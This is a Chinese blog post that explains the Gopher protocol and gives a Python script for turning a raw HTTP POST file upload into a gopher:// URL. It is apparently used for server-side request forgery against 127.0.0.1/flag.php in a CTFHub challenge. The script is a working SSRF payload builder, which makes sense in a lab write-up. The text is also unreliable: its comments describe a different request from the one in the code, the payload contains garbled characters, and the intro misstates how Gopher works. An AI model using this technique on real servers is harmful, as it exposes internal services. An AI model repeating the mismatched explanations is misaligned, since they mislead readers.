Gopher协议

简介: Gopher协议

Gopher协议是一种早期的互联网协议,旨在提供文本信息的检索和查看。它是在1991年由University of Minnesota开发的,早于HTTP协议的出现。Gopher协议的设计初衷是提供一种简单、易用的方式,让用户能够从互联网上检索和查看文档、文件和资源。

以下是Gopher协议的一些关键特点和工作原理:

  1. 文本为主:Gopher主要以文本形式呈现信息,而不是像现代Web那样支持丰富的多媒体内容。它使用简单的目录结构和文件列表,以及文本链接来组织和浏览信息。
  2. 层次结构:Gopher资源被组织成一个层次结构,类似于文件系统的结构。每个Gopher服务器都有自己的目录结构,其中包含各种文本文件、目录和资源。
  3. Gopher客户端:用户可以通过Gopher客户端访问Gopher服务器。这些客户端通常是文本界面,用户可以通过命令行或简单的图形界面浏览和检索资源。
  4. 选择性下载:与HTTP不同,Gopher不支持直接在浏览器中查看资源。相反,用户需要选择性地下载他们想要查看的资源,通常使用文件传输协议(FTP)或其他协议来进行。
  5. 较低的带宽要求:由于Gopher主要是文本内容,因此它在较低的带宽下运行良好。这使得它在早期的互联网时代很受欢迎,因为当时的网络连接速度相对较慢。

尽管Gopher在其早期阶段曾经很流行,但随着HTTP的出现和发展,它逐渐被HTTP所取代。HTTP更灵活,支持更丰富的内容形式,例如图像、音频和视频,而且具有更好的互操作性。因此,Gopher现在已经成为互联网历史的一部分,但仍然有些人在特定的场景下使用它,或者将其视为互联网的早期形式之一。

将 http 请求数据 转换为 gopher 的脚本:

import urllib.parse
# urllib.parse模块主要用于解析和构造URLs。
# urllib.parse模块是Python标准库中urllib库的一部分,它提供了一系列函数,用于处理URLs的不同部分,包括解析、构造、编码和解码等操作。具体来说:
# 解析URL:使用urlparse()函数,可以将一个完整的URL字符串分解成其组成部分,如协议(scheme)、网络位置(netloc)、路径(path)、参数(parameters)、查询(query)和片段(fragment)。
# 构造URL:通过urlunparse()函数,可以将一个包含URL各组成部分的元组重新组合成一个完整的URL字符串。
# 编码和解码:urlencode()方法可以对URL中的查询参数进行编码,而parse_qs()方法可以对已编码的查询字符串进行解码,以便在程序中进一步处理。
# 总的来说,这个模块对于处理Web数据非常有用,尤其是在编写爬虫或处理HTTP请求和响应时。
#---------------------------------------------------------------------------------------------------------------------------------------------
payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------396795882130259981102522547004
Content-Length: 355
Origin: http://challenge-b366daa6863b436a.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-b366daa6863b436a.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1
-----------------------------396795882130259981102522547004
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
I love kobe.
-----------------------------396795882130259981102522547004
Content-Disposition: form-data; name="file1"
鎻愪氦鏌ヨ
-----------------------------396795882130259981102522547004--
"""
# 这段代码是一个HTTP POST请求的示例,用于向服务器发送一个包含特定参数的请求。下面是对代码的解释:
# payload = ...:定义了一个名为payload的变量,存储了HTTP请求的内容。
# """POST /flag.php HTTP/1.1:指定了请求的方法为POST,目标URL为/flag.php,使用的HTTP协议版本为1.1。
# Host: 127.0.0.1:指定了请求的目标主机地址为本地回环地址(即本机)。
# Content-Type: application/x-www-form-urlencoded:指定了请求体的内容类型为表单数据,采用URL编码方式进行传输。
# Content-Length: 36:指定了请求体的长度为36个字节。
# key=c384d200658f258e5b5c681bf0aa29a8:这是请求体中的具体数据,表示传递了一个名为key的参数,其值为c384d200658f258e5b5c681bf0aa29a8。
# 总的来说,这段代码的目的是构造一个HTTP POST请求,将特定的参数key和对应的值发送给服务器的/flag.php接口。
#---------------------------------------------------------------------------------------------------------------------------------------------
tmp = urllib.parse.quote(payload)
# URL编码是一种将特殊字符转换为%加上十六进制表示的形式的过程,用于在URL中传递参数或路径时避免歧义和错误。
# 具体来说,urllib.parse.quote()函数接受一个字符串作为输入,并将其中的特殊字符(如空格、中文等)转换为URL编码形式。这样,当将该字符串作为URL的一部分时,可以确保其被正确解析和传输。
#---------------------------------------------------------------------------------------------------------------------------------------------
new = tmp.replace('%0A','%0D%0A') #注意后面一定要有回车,回车结尾表示http请求结束
# 在new = tmp.replace('%0A','%0D%0A')这行代码中,tmp是经过urllib.parse.quote()函数编码后的字符串。编码过程中,原本的换行符(newline)被转换为了%0A。
# 在HTTP协议中,消息头和消息体之间通常由一个空行(即两个连续的换行符)分隔。这个空行在HTTP消息中非常重要,因为它标识了头部信息的结束和消息体的开始。
# 在早期的互联网标准中,换行符通常表示为%0D%0A(CRLF,回车和换行的字符组合),其中%0D代表回车(Carriage Return, \r),%0A代表换行(Line Feed,
# )。然而,在现代的网络传输中,通常只使用%0A来表示换行。
# 在某些情况下,为了确保兼容性,可能需要将%0A显式地替换为%0D%0A。这样做是为了确保在处理HTTP请求或响应时,接收方能够正确解析和理解空行的含义,特别是在一些旧的或特定的系统上。
# 因此,new = tmp.replace('%0A','%0D%0A')这行代码的目的是将编码后的字符串中的%0A(换行符)替换为%0D%0A(回车和换行的组合),以确保在网络传输中保持正确的格式和兼容性。
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码

 

相关文章
|
机器学习/深度学习 算法 Serverless
大模型开发:描述损失函数的作用以及一些常见的损失函数。
损失函数在机器学习中至关重要,用于衡量预测误差、优化模型、评估性能及选择模型。常见类型包括均方误差(MSE)、均方根误差(RMSE)、交叉熵损失(适用于分类)、绝对误差(MAE)、hinge损失(SVMs)、0-1损失、对数似然损失和Focal Loss(应对类别不平衡)。选择时要考虑模型性质、数据特征和优化需求。
1849 3
|
8月前
|
JSON 监控 API
闲鱼商品详情API接口文档
本接口用于获取闲鱼商品详情,包括标题、价格、库存、卖家信息、图片链接、交易记录等核心数据,返回JSON格式,适用于商品监控、竞品分析等合规场景。需通过模拟请求或授权方式调用,注意反爬机制。
1491 1
|
Java Linux Shell
Docker centos7 中文乱问题解决方案
Docker centos7 中文乱问题解决方案
1324 0
|
5月前
|
人工智能 JSON BI
Claude Code + DeepSeek V4 唯一的遗憾要被补齐了:多模态识图灰度上线
JeecgBoot AI专题研究 用 DeepSeek V4 几乎完美替代 Claude,唯一卡点就是不收图——这块短板马上要补上![](https://oscimg.oschina.net/oscnet/up9146c3ec0c19f2abe92a111fbac35c4e462.png) 一句
3105 2
Claude Code + DeepSeek V4 唯一的遗憾要被补齐了:多模态识图灰度上线
|
10月前
|
机器学习/深度学习 数据可视化 算法
基于YOLOv8的可回收瓶类垃圾快速识别与自动化分拣|完整源码数据集+PyQt5界面+完整训练流程+开箱即用!
本项目基于 YOLOv8 构建了一套可回收瓶类垃圾的实时识别与自动化分拣系统,从数据集构建、模型训练到 PyQt5 可视化界面部署,形成了完整的工程化闭环。系统能够对多种瓶类废弃物进行高精度识别,并支持图片、视频、摄像头流等多场景实时处理,适用于垃圾回收站、环卫中转站、产线分拣系统等实际应用场景。
基于YOLOv8的可回收瓶类垃圾快速识别与自动化分拣|完整源码数据集+PyQt5界面+完整训练流程+开箱即用!
|
安全 NoSQL 网络协议
SSRF内网打穿相关姿势
本文详细介绍了服务器端请求伪造(SSRF)漏洞,包括其定义、漏洞场景、常见漏洞函数、URL伪协议及其利用方法。通过具体的靶机示例,展示了如何利用SSRF漏洞进行内网探测、命令执行、SQL注入、命令注入、XXE注入、Tomcat任意文件上传和Redis未授权访问等攻击。文章还提供了相关工具和参考资料,帮助读者更好地理解和应对SSRF漏洞。
2415 0
SSRF内网打穿相关姿势
|
自然语言处理 Python
【Prompt Engineering提示:Active-Prompt、方向性刺激提示、PAL(程序辅助语言模型)】
Diao等人(2023)提出了一种名为Active-Prompt的新方法,通过自适应提示来优化大型语言模型(LLMs)在特定任务中的表现。此方法通过不确定性评估选择需标注的问题,利用少量人工标注的思维链(CoT)示例逐步优化模型,提高其解决问题的能力。相比固定范例,Active-Prompt能够更有效地针对不同任务调整提示,从而提升模型性能。
972 8
【Prompt Engineering提示:Active-Prompt、方向性刺激提示、PAL(程序辅助语言模型)】
|
缓存 安全 Ubuntu
基于Alpine构建轻量级带有cURL功能的Docker镜像
基于Alpine构建轻量级带有cURL功能的Docker镜像
基于Alpine构建轻量级带有cURL功能的Docker镜像
|
存储 网络协议 安全
30 道初级网络工程师面试题,涵盖 OSI 模型、TCP/IP 协议栈、IP 地址、子网掩码、VLAN、STP、DHCP、DNS、防火墙、NAT、VPN 等基础知识和技术,帮助小白们充分准备面试,顺利踏入职场
本文精选了 30 道初级网络工程师面试题,涵盖 OSI 模型、TCP/IP 协议栈、IP 地址、子网掩码、VLAN、STP、DHCP、DNS、防火墙、NAT、VPN 等基础知识和技术,帮助小白们充分准备面试,顺利踏入职场。
2622 2

热门文章

最新文章